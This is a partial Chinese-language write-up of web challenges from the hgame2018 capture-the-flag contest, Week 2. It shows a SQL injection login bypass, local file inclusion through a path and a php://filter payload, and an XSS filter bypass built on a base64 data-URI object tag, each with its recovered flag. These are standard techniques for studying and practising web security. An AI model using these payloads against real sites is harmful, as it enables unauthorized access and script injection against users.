hgame2018 Week2 WriteUp(部分)

Web

Web50 最简单的sql题

万能密码:

1
?username=admin' or '1'='1&pwd=pw

flag:hgame{@s0ng_fen_ti@}

Web100 草莓社区-1

题目提示:

  • flag在../flag.php
  • 知识点:LFI,本地文件包含

直接:/show_maopian.php?mao=../flag.php

get flag:hgame

Web150 草莓社区-2

题目提示:

  • flag在../flag.php
  • 知识点:LFI,本地文件包含

直接../flag.php没结果,想到之前做NCTF的一道LFI,把那时候的payload复制过来试了一下

1
?mao=php://filter/convert.base64-encode/resource=../flag.php

burp返回(注意这时候不要用hackbar了,因为Firefox会显示图像存在错误而无法显示qwq,然后窝又试了一下,Chrome不会报错,而是显示个什么都没有的图片(如下图1)):

1
PD9waHAKCSRmbGFnPSJoZ2FtZXshbTRvX3BpNG5fQ2hhT19oYW9fa2FuIX0iOwo=

base64解码get flag。

flag:hgame{!m4o_pi4n_ChaO_hao_kan!}

图1

Web100 xss-1

题目:

1
2
3
4
5
6
7
function charge(input) {
input = input.replace(/script/gi, '_');
input = input.replace(/image/gi, '_');
input = input.replace(/\(/, '_');
return '<article>' + input + '</article>';
}

可以知道过滤规则:

  • 不分大小的scriptimage还有英文左小括号(都会被替换成_

Google搜xss bypass找到这篇文章的一个利用data属性的payload:

1
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">

<script>alert("1");</script>base64编码得:PHNjcmlwdD5hbGVydCgiMSIpOzwvc2NyaXB0Pg==,所以这道题的payload:

1
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiMSIpOzwvc2NyaXB0Pg==">

找出题人现在陪聊得到flag:hgame

窝很可爱,请给窝钱